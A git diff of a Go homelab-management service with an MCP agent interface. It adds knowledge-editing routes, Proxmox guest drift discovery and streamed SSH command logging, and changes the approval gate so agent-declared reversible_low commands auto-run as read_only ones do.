// /api/v1/knowledge/orphans — derived maintenance view
|
||||
// /api/v1/knowledge/merge — bulk fold-in, ad-hoc
|
||||
// /api/v1/activity/recent — recency-ordered, not paginated
|
||||
// /api/v1/activity/session/{id} — session-scoped aggregation
|
||||
// /api/v1/executions/{id}/logs — streamed command output, no schema type
|
||||
// /api/v1/learning/timeline — derived view, no backing schema type
|
||||
// /api/v1/learning/trend — derived view, no backing schema type
|
||||
//
|
||||
@@ -202,11 +213,45 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the operator-facing knowledge CRUD surface
|
||||
// (see internal/httpapi/knowledge_write.go) and the drift tooling (see
|
||||
// knowledge_drift.go). Before these, knowledge could only be written by
|
||||
// the agent through the MCP upsert_knowledge tool — the web UI had no way
|
||||
// to create, correct or retire a note.
|
||||
//
|
||||
// Registered on the base router rather than through the OpenAPI codegen
|
||||
// for the same reason as the read routes above: they trade in raw
|
||||
// markdown and ad-hoc aggregates, not generated schema types.
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/list", s.serveKnowledgeList)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge", s.serveCreateKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Put("/api/v1/knowledge/content/{id}", s.serveUpdateKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Delete("/api/v1/knowledge/content/{id}", s.serveDeleteKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/trash", s.serveKnowledgeTrash)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/restore/{id}", s.serveRestoreKnowledge)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/revisions/{id}", s.serveKnowledgeRevisions)
|
||||
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/tags", s.serveKnowledgeTags)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/tags/rename", s.serveRenameKnowledgeTag)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/duplicates", s.serveKnowledgeDuplicates)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/orphans", s.serveKnowledgeOrphans)
|
||||
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/merge", s.serveMergeKnowledge)
|
||||
|
||||
// Drift audit: read-only DB-side report of orphan checks, checks on
|
||||
// retired targets, stuck down/unknown probes, unmonitored declared types,
|
||||
// and dangling edges. Companion to the knowledge-graph-audit skill.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/audit/drift", s.serveAuditDrift)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
||||
// unlike ListExecutions which sorts by target for pagination) and the
|
||||
// per-session "what did this session do" digest.
|
||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
||||
// Streamed command output for one execution — a projection over
|
||||
// execution_logs with no schema type yet (same carve-out rationale as
|
||||
// /activity/recent above). Nests cleanly under the generated
|
||||
// /executions/{id} subtree: chi accepts sibling children on a param node.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/executions/{id}/logs", s.serveExecutionLogs)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
||||
|
||||
// Learning view: capability timeline + success trend, both derived from
|
||||
@@ -349,10 +394,10 @@ func staticTokenActor(cfg config.Config, raw string) (actor, bool) {
|
||||
// jwtVerificationKey holds a parsed RSA public key or HMAC secret for JWT
|
||||
// verification, identified by its key ID (kid).
|
||||
type jwtVerificationKey struct {
|
||||
Kid string
|
||||
Alg string
|
||||
Key any // *rsa.PublicKey or []byte for HMAC
|
||||
IsHMAC bool
|
||||
Kid string
|
||||
Alg string
|
||||
Key any // *rsa.PublicKey or []byte for HMAC
|
||||
IsHMAC bool
|
||||
}
|
||||
|
||||
// discoverJWKSURI fetches the OIDC discovery document and extracts the
|
||||
@@ -598,8 +643,8 @@ func resolveOIDCTokenURL(issuer string) string {
|
||||
func (s *Server) serveOIDCConfig(w http.ResponseWriter, _ *http.Request, cfg config.Config) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{
|
||||
"issuer": cfg.OIDCIssuer,
|
||||
"client_id": cfg.OIDCClientID,
|
||||
"issuer": cfg.OIDCIssuer,
|
||||
"client_id": cfg.OIDCClientID,
|
||||
"authorization_endpoint": resolveOIDCEndpointURL(cfg.OIDCIssuer, "/authorize/"),
|
||||
})
|
||||
}
|
||||
@@ -863,4 +908,4 @@ func ListenAndServe(ctx context.Context, pool *db.Pool, cfg config.Config) error
|
||||
defer cancel()
|
||||
return srv.Shutdown(shutdownCtx)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
119
internal/mcp/discover.go
Normal file
119
internal/mcp/discover.go
Normal file
@@ -0,0 +1,119 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/dtoro/oikos/internal/remote"
|
||||
)
|
||||
|
||||
// discoverInfraDrift compares the live Proxmox guests (pct/qm list on every
|
||||
// proxmox host) against the DB graph, surfacing drift the DB-only audit
|
||||
// cannot see: guests running with no entity (missing), and entities whose
|
||||
// pve_id is no longer live (ghost). This is the auto-discover/validate half
|
||||
// of the knowledge-graph audit skill — read-only, reaches hosts over the same
|
||||
// SSH/pct path the checks use.
|
||||
func discoverInfraDrift(ctx context.Context, pool *db.Pool) any {
|
||||
// 1. proxmox hosts to query.
|
||||
hostRows, err := pool.Query(ctx,
|
||||
`SELECT slug FROM entities WHERE type='proxmox-host' AND COALESCE(state,'active')='active'`)
|
||||
if err != nil {
|
||||
return map[string]any{"error": "query hosts: " + err.Error()}
|
||||
}
|
||||
var hosts []string
|
||||
for hostRows.Next() {
|
||||
var s string
|
||||
if hostRows.Scan(&s) == nil {
|
||||
hosts = append(hosts, s)
|
||||
}
|
||||
}
|
||||
hostRows.Close()
|
||||
|
||||
// 2. DB guests keyed by pve_id.
|
||||
type dbGuest struct {
|
||||
Slug string `json:"slug"`
|
||||
Type string `json:"type"`
|
||||
PveID string `json:"pve_id"`
|
||||
Host string `json:"host"`
|
||||
}
|
||||
dbGuests := map[string]dbGuest{}
|
||||
gr, err := pool.Query(ctx,
|
||||
`SELECT slug, type, COALESCE(attributes->>'pve_id',''), COALESCE(attributes->>'host','')
|
||||
FROM entities WHERE type IN ('lxc','vm')`)
|
||||
if err != nil {
|
||||
return map[string]any{"error": "query guests: " + err.Error()}
|
||||
}
|
||||
for gr.Next() {
|
||||
var g dbGuest
|
||||
if gr.Scan(&g.Slug, &g.Type, &g.PveID, &g.Host) == nil && g.PveID != "" {
|
||||
dbGuests[g.PveID] = g
|
||||
}
|
||||
}
|
||||
gr.Close()
|
||||
|
||||
// 3. enumerate live guests from every host.
|
||||
live := map[string]string{} // pve_id -> "host:name"
|
||||
hostErrors := map[string]string{}
|
||||
for _, hs := range hosts {
|
||||
et, rerr := remote.ResolveExecTarget(ctx, pool, hs, sshUser)
|
||||
if rerr != nil {
|
||||
hostErrors[hs] = "resolve: " + rerr.Error()
|
||||
continue
|
||||
}
|
||||
for _, cmd := range []string{"pct list", "qm list"} {
|
||||
out, eerr := sshExecStream(ctx, et.Host, et.User, et.Wrap(cmd),
|
||||
execlog.Sink(func(string, []byte) {}))
|
||||
if eerr != nil {
|
||||
hostErrors[hs+" "+cmd] = eerr.Error()
|
||||
continue
|
||||
}
|
||||
scanIDs(out, hs, live)
|
||||
}
|
||||
}
|
||||
|
||||
// 4. diff.
|
||||
var missing, ghost []string
|
||||
for id, hn := range live {
|
||||
if _, ok := dbGuests[id]; !ok {
|
||||
missing = append(missing, id+" on "+hn)
|
||||
}
|
||||
}
|
||||
for id, g := range dbGuests {
|
||||
if _, ok := live[id]; !ok {
|
||||
ghost = append(ghost, g.Slug+" (pve_id="+id+")")
|
||||
}
|
||||
}
|
||||
|
||||
return map[string]any{
|
||||
"hosts_queried": len(hosts),
|
||||
"live_guests": len(live),
|
||||
"db_guests": len(dbGuests),
|
||||
"missing_entities": missing, // in Proxmox, no DB entity
|
||||
"ghost_entities": ghost, // in DB, not live in Proxmox
|
||||
"host_errors": hostErrors,
|
||||
}
|
||||
}
|
||||
|
||||
// scanIDs parses `pct list` / `qm list` output (VMID ... Name) into the live map.
|
||||
func scanIDs(output, hostSlug string, live map[string]string) {
|
||||
sc := bufio.NewScanner(strings.NewReader(output))
|
||||
for sc.Scan() {
|
||||
line := strings.TrimSpace(sc.Text())
|
||||
if line == "" || strings.HasPrefix(strings.ToLower(line), "vmid") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
id := fields[0]
|
||||
name := ""
|
||||
if len(fields) >= 4 {
|
||||
name = fields[len(fields)-1] // pct: last col is name; qm: name near end
|
||||
}
|
||||
live[id] = hostSlug + ":" + name
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package mcp
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"html"
|
||||
@@ -22,8 +21,10 @@ import (
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/dtoro/oikos/internal/policy"
|
||||
"github.com/dtoro/oikos/internal/remote"
|
||||
"github.com/google/jsonschema-go/jsonschema"
|
||||
"github.com/google/uuid"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
@@ -329,7 +330,37 @@ func initSSH() {
|
||||
// goroutine forever with no way for the caller to ever get an answer.
|
||||
const sshExecTimeout = 10 * time.Minute
|
||||
|
||||
// streamWriter buffers everything it is given while forwarding each write to a
|
||||
// sink. Assigning one to session.Stdout and another (sharing the same buffer)
|
||||
// to session.Stderr reproduces CombinedOutput's interleaving exactly, in the
|
||||
// order the remote end actually produced it — which reading from StdoutPipe
|
||||
// and StderrPipe separately would not guarantee.
|
||||
type streamWriter struct {
|
||||
mu *sync.Mutex
|
||||
buf *bytes.Buffer
|
||||
stream string
|
||||
sink execlog.Sink
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
w.mu.Lock()
|
||||
w.buf.Write(p)
|
||||
w.mu.Unlock()
|
||||
if w.sink != nil {
|
||||
// Copy: the ssh library reuses p after Write returns, and the sink
|
||||
// hands the bytes to a DB call that may outlive this frame.
|
||||
w.sink(w.stream, append([]byte(nil), p...))
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
return sshExecStream(ctx, host, user, command, nil)
|
||||
}
|
||||
|
||||
// sshExecStream runs a command and reports its combined output, forwarding
|
||||
// each chunk to sink as it arrives. A nil sink behaves exactly as before.
|
||||
func sshExecStream(ctx context.Context, host, user, command string, sink execlog.Sink) (string, error) {
|
||||
initSSH()
|
||||
if len(sshKey) == 0 {
|
||||
return "", fmt.Errorf("no SSH key available")
|
||||
@@ -363,16 +394,28 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
type result struct {
|
||||
out []byte
|
||||
err error
|
||||
var (
|
||||
mu sync.Mutex
|
||||
buf bytes.Buffer
|
||||
)
|
||||
session.Stdout = &streamWriter{mu: &mu, buf: &buf, stream: "stdout", sink: sink}
|
||||
session.Stderr = &streamWriter{mu: &mu, buf: &buf, stream: "stderr", sink: sink}
|
||||
|
||||
// collected returns whatever output has arrived so far. Callable while the
|
||||
// command is still running, which is what makes partial output on timeout
|
||||
// possible.
|
||||
collected := func() string {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return strings.TrimSpace(buf.String())
|
||||
}
|
||||
done := make(chan result, 1)
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
// Recovers a panic in CombinedOutput (SSH library internals, rare but
|
||||
// not impossible) and reports it as a failed command instead of
|
||||
// crashing the whole api process — every gated action runs through
|
||||
// this function, so an unrecovered panic here would take down every
|
||||
// Recovers a panic in the SSH library internals (rare but not
|
||||
// impossible) and reports it as a failed command instead of crashing
|
||||
// the whole api process — every gated action runs through this
|
||||
// function, so an unrecovered panic here would take down every
|
||||
// concurrently-running task's execution, not just this one. Without
|
||||
// this, a panic would ALSO silently degrade to "wait out the full
|
||||
// timeout" (done never receives, the select below falls through to
|
||||
@@ -381,64 +424,49 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
// finds out now, not after sshExecTimeout.
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
||||
done <- fmt.Errorf("panic in ssh exec: %v", r)
|
||||
}
|
||||
}()
|
||||
out, err := session.CombinedOutput(command)
|
||||
done <- result{out, err}
|
||||
// Run rather than CombinedOutput so the assigned writers are used;
|
||||
// Run returns only after both streams have been fully drained.
|
||||
done <- session.Run(command)
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-done:
|
||||
text := strings.TrimSpace(string(r.out))
|
||||
case err := <-done:
|
||||
text := collected()
|
||||
// A non-zero exit MUST surface as an error — matching the fix
|
||||
// applied to httpapi's sshExec (this copy still had the original
|
||||
// bug: only erroring when there was no output at all, so a command
|
||||
// that failed but printed something was silently reported as
|
||||
// success).
|
||||
if r.err != nil {
|
||||
if err != nil {
|
||||
if text != "" {
|
||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
||||
return text, fmt.Errorf("%w: %s", err, text)
|
||||
}
|
||||
return text, fmt.Errorf("exec: %w", r.err)
|
||||
return text, fmt.Errorf("exec: %w", err)
|
||||
}
|
||||
return text, nil
|
||||
case <-time.After(sshExecTimeout):
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
// Return what the command managed to print before it hung. This used
|
||||
// to return "", discarding everything — so a hung command, the case
|
||||
// where the output matters most, was the one case that left no trace.
|
||||
return collected(), fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
case <-ctx.Done():
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", ctx.Err()
|
||||
return collected(), ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUser string, err error) {
|
||||
var attrs string
|
||||
err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", entitySlug).Scan(&attrs)
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("entity not found: %s", entitySlug)
|
||||
}
|
||||
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(attrs), &m); err != nil {
|
||||
return "", "", fmt.Errorf("parse attributes: %w", err)
|
||||
}
|
||||
|
||||
if ip, ok := m["lan_ip"].(string); ok && ip != "" {
|
||||
return ip, sshUser, nil
|
||||
}
|
||||
if mesh, ok := m["mesh"].(map[string]interface{}); ok {
|
||||
for _, proto := range []string{"netbird", "tailscale"} {
|
||||
if p, ok := mesh[proto].(map[string]interface{}); ok {
|
||||
if ip, ok := p["ip"].(string); ok && ip != "" {
|
||||
return ip, sshUser, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
|
||||
// resolveHost resolves a host:<slug> to its reachable IP and SSH user. A thin
|
||||
// wrapper over the shared resolver (internal/remote), kept so slug-based
|
||||
// callers keep working; the shared resolver also prefers public_ipv4 over
|
||||
// mesh and honors a per-entity ssh.user.
|
||||
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUserOut string, err error) {
|
||||
return remote.ResolveHost(ctx, pool, entitySlug, sshUser)
|
||||
}
|
||||
|
||||
// htmlTagRe strips HTML tags for the naive text extraction in httpGet.
|
||||
@@ -517,109 +545,28 @@ func isPrivateHost(host string) bool {
|
||||
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC,
|
||||
// `qm guest exec <pve_id> -- ...` for a VM.
|
||||
//
|
||||
// The lxc.attributes.host value is stored WITHOUT a "host:" prefix (e.g.
|
||||
// "strong", not "host:strong") — see pct_create's entity registration. The
|
||||
// pre-existing pct_exec handler queried resolveHost with that bare value
|
||||
// directly, which can never match a "host:*" slug and always fails; this
|
||||
// prefixes it correctly.
|
||||
//
|
||||
// vm: support (2026-07-18): VMs in inventory.yaml carry `pve_id` and a `host`
|
||||
// attribute (or a `hosts` relationship) just like LXCs, but they're reached
|
||||
// via `qm guest exec` instead of `pct exec`. Previously the agent had to
|
||||
// SSH-hop via `host:hubris` to reach a VM (e.g. `ssh root@<vm_ip> '...'`),
|
||||
// which broke on nested shell quoting and forced manual escaping workarounds
|
||||
// — see plans/2026-07-18-session-review-three-sessions.md P1.6. A VM's
|
||||
// `host` attribute is optional: if absent, fall back to looking up the
|
||||
// `hosts` relationship on the VM entity, then to hubris (the documented
|
||||
// default Proxmox host) — same fallback chain as LXCs.
|
||||
// Delegates to the shared resolver (internal/remote), the single path used by
|
||||
// both the MCP `run` tool and the scheduler's checks. The historical notes
|
||||
// (host attr without prefix, vm host-resolution chain, nested-quoting
|
||||
// handling via base64) all still hold — they now live in remote.guestWrap.
|
||||
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
|
||||
if strings.HasPrefix(targetSlug, "host:") {
|
||||
host, user, err = resolveHost(ctx, pool, targetSlug)
|
||||
return host, user, func(cmd string) string { return cmd }, err
|
||||
et, err := remote.ResolveExecTarget(ctx, pool, targetSlug, sshUser)
|
||||
if err != nil {
|
||||
return "", "", nil, err
|
||||
}
|
||||
if strings.HasPrefix(targetSlug, "lxc:") {
|
||||
var pveID, hostAttr string
|
||||
// COALESCE the host column: many older LXC entities (seeded from
|
||||
// inventory, not provisioned by pct_create) have pve_id but no host
|
||||
// attribute at all. Scanning a SQL NULL into a plain string errors
|
||||
// the whole row, wrongly reporting "missing pve_id" even when it was
|
||||
// present — COALESCE avoids the NULL, "" is handled below.
|
||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
||||
id := pveID
|
||||
return host, user, func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
||||
}, err
|
||||
}
|
||||
if strings.HasPrefix(targetSlug, "vm:") {
|
||||
// VMs: same host-resolution chain as LXCs (attributes.host →
|
||||
// `hosts` relationship → hubris default), but reached via
|
||||
// `qm guest exec` instead of `pct exec`. Requires the QEMU
|
||||
// guest agent running inside the VM (the standard Proxmox
|
||||
// setup; ZimaOS/HAOS in this fleet already have it).
|
||||
var pveID, hostAttr string
|
||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||
return "", "", nil, fmt.Errorf("VM not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
||||
id := pveID
|
||||
return host, user, func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
// `qm guest exec <id> -- /bin/bash -c '...'` returns JSON by
|
||||
// default; pipe through `jq -r .out` if available, else cat.
|
||||
// The base64 round-trip mirrors the LXC path so nested quoting
|
||||
// (the original VM-target pain point — session 55927f0a) is
|
||||
// handled identically to LXC dispatch.
|
||||
return fmt.Sprintf(
|
||||
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
||||
id, b64, id, b64)
|
||||
}, err
|
||||
}
|
||||
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
||||
return et.Host, et.User, et.Wrap, nil
|
||||
}
|
||||
|
||||
// resolveProxmoxHostSlug resolves the Proxmox host slug that owns a given
|
||||
// LXC/VM target. Resolution order:
|
||||
// 1. hostAttr if non-empty (the entity's attributes.host — stored without
|
||||
// "host:" prefix in inventory.yaml and pct_create).
|
||||
// 2. the `hosts` relationship on the entity (e.g. host:hubris → vm:zimaos),
|
||||
// looked up in the relationships table — the canonical graph source.
|
||||
// 3. "hubris" as a documented default Proxmox host fallback.
|
||||
//
|
||||
// Returns a slug with the "host:" prefix attached, ready for resolveHost.
|
||||
// Extracted from the inline LXC path (2026-07-18) so the VM path shares the
|
||||
// same chain — see plans/2026-07-18-session-review-three-sessions.md P1.6.
|
||||
// LXC/VM target (see internal/remote.ResolveProxmoxHostSlug for the chain).
|
||||
// This slug-based wrapper looks up the entity id so slug callers keep working;
|
||||
// the shared resolver takes an id directly.
|
||||
func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, hostAttr string) string {
|
||||
hostSlug := strings.TrimSpace(hostAttr)
|
||||
if hostSlug == "" {
|
||||
// Fall back to the `hosts` relationship — the graph edge from
|
||||
// the Proxmox host to this LXC/VM. This is the canonical source
|
||||
// for "who owns this VM" in inventory.yaml; the `host` attribute
|
||||
// is a denormalized shortcut that not every entity has.
|
||||
var relHostSlug string
|
||||
// hosts relationship: source=host, target=lxc/vm. Look up the
|
||||
// source slug given the target.
|
||||
if err := pool.QueryRow(ctx, `
|
||||
SELECT e.slug FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = (SELECT id FROM entities WHERE slug = $1)
|
||||
AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||
LIMIT 1`, entitySlug).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
||||
hostSlug = relHostSlug
|
||||
}
|
||||
var id uuid.UUID
|
||||
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", entitySlug).Scan(&id); err != nil {
|
||||
id = uuid.Nil
|
||||
}
|
||||
if hostSlug == "" {
|
||||
hostSlug = "hubris" // documented default Proxmox host when unset
|
||||
}
|
||||
if !strings.HasPrefix(hostSlug, "host:") {
|
||||
hostSlug = "host:" + hostSlug
|
||||
}
|
||||
return hostSlug
|
||||
return remote.ResolveProxmoxHostSlug(ctx, pool, id, hostAttr)
|
||||
}
|
||||
|
||||
// classifyAndGate is the shared classify→execute-or-queue path for every
|
||||
@@ -631,6 +578,56 @@ func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, host
|
||||
// fleet's reverse proxy) executed instantly with no approval at all. Routing
|
||||
// every mutating path through the same classifier + approval-queue logic
|
||||
// closes that gap without special-casing each caller.
|
||||
// autoRun resolves a target, runs the command, and finalizes the execution
|
||||
// with full timing.
|
||||
//
|
||||
// The three auto-run windows (read-only, assent, destructive) each carried
|
||||
// their own copy of this logic, and none of them wrote duration_ms, started_at
|
||||
// or completed_at — so every auto-run execution landed in the ledger with no
|
||||
// timing at all, and the Ops "Duration" column was empty for exactly the
|
||||
// executions that run most often.
|
||||
func autoRun(ctx context.Context, pool *db.Pool, id uuid.UUID, targetSlug, command string) (string, error) {
|
||||
startedAt := time.Now()
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status='running', started_at=$2 WHERE entity_id=$1`,
|
||||
id, startedAt); err != nil {
|
||||
slog.Error("mcp: mark execution running", "error", err, "execution_id", id)
|
||||
}
|
||||
|
||||
finalize := func(status string, result []byte) {
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status=$2, result=$3::jsonb, duration_ms=$4,
|
||||
started_at=$5, completed_at=now()
|
||||
WHERE entity_id=$1`,
|
||||
id, status, result, int(time.Since(startedAt).Milliseconds()), startedAt); err != nil {
|
||||
slog.Error("mcp: finalize execution", "error", err, "execution_id", id)
|
||||
}
|
||||
}
|
||||
|
||||
host, user, wrap, err := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if err != nil {
|
||||
finalize("failed", jsonErr("%s", err.Error()))
|
||||
return "", err
|
||||
}
|
||||
|
||||
var correlationID string
|
||||
if qerr := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, id).Scan(&correlationID); qerr != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
sink, flush := execlog.New(ctx, pool, id, correlationID)
|
||||
|
||||
out, err := sshExecStream(ctx, host, user, wrap(command), sink)
|
||||
flush()
|
||||
if err != nil {
|
||||
finalize("failed", jsonErr("%s: %s", err.Error(), out))
|
||||
return out, err
|
||||
}
|
||||
|
||||
finalize("completed", jsonOut(out))
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.UUID, targetSlug, command, purpose, declaredRisk, sessionID string) *mcp.CallToolResult {
|
||||
riskClass := policy.ClassifyCommand(command, declaredRisk)
|
||||
runParams, _ := json.Marshal(map[string]string{"command": command, "purpose": purpose})
|
||||
@@ -686,7 +683,20 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
}
|
||||
|
||||
id, _ := uuid.NewV7()
|
||||
correlationID := uuid.New().String()
|
||||
// Correlate the execution to the chat session that asked for it. This was
|
||||
// a fresh random UUID per execution, which correlated nothing — every row
|
||||
// had a unique value, so the correlation_id column and the
|
||||
// ?correlation_id= filter could only ever match one execution.
|
||||
//
|
||||
// Using the session id makes the field mean what it says ("what did this
|
||||
// session do?") and is what lets the chat tail live output: execution
|
||||
// events carry correlation_id, so the UI can match them to the session on
|
||||
// screen without a lookup. Falls back to a random id when there is no
|
||||
// session to scope to, keeping the column non-empty.
|
||||
correlationID := sessionID
|
||||
if correlationID == "" || correlationID == "ephemeral" {
|
||||
correlationID = uuid.New().String()
|
||||
}
|
||||
execName := "run on " + targetSlug + " (" + id.String() + ")"
|
||||
execSlug := "exec:" + targetSlug + ":" + id.String()
|
||||
if _, err := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
|
||||
@@ -713,19 +723,29 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
||||
id, "task:"+sessionID)
|
||||
}
|
||||
|
||||
if riskClass == policy.RiskReadOnly {
|
||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
||||
if rerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
||||
}
|
||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
||||
// read_only and reversible_low both run unattended, as seeds/policy.yaml
|
||||
// and .agents/OIKOS.md declare ("reversible_low — restart, cache clear,
|
||||
// sync pull. Unattended + ledger.").
|
||||
//
|
||||
// reversible_low had no branch here, so it fell through to the gate. That
|
||||
// looked stricter but was actually perverse: computeCommandRisk never
|
||||
// returns reversible_low — the class can ONLY arise when the agent
|
||||
// declares it on a command the classifier already scored read_only
|
||||
// (ClassifyCommand keeps the higher of the two). So an agent that
|
||||
// honestly flagged "this restarts something" got gated, while the same
|
||||
// command with no declaration auto-ran. That penalised candor and gave
|
||||
// the agent a reason to stay quiet.
|
||||
//
|
||||
// Auto-running it is no more permissive than the read_only branch above,
|
||||
// because read_only is the only computed class it can accompany. An
|
||||
// agent still cannot talk a command DOWN: declaring reversible_low on
|
||||
// something computed as config_mutation keeps config_mutation.
|
||||
if riskClass == policy.RiskReadOnly || riskClass == policy.RiskReversibleLow {
|
||||
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||
if xerr != nil {
|
||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||
}
|
||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
||||
return textResult(fmt.Sprintf("run on %s (read_only, auto): %s", targetSlug, out))
|
||||
return textResult(fmt.Sprintf("run on %s (%s, auto): %s", targetSlug, riskClass, out))
|
||||
}
|
||||
|
||||
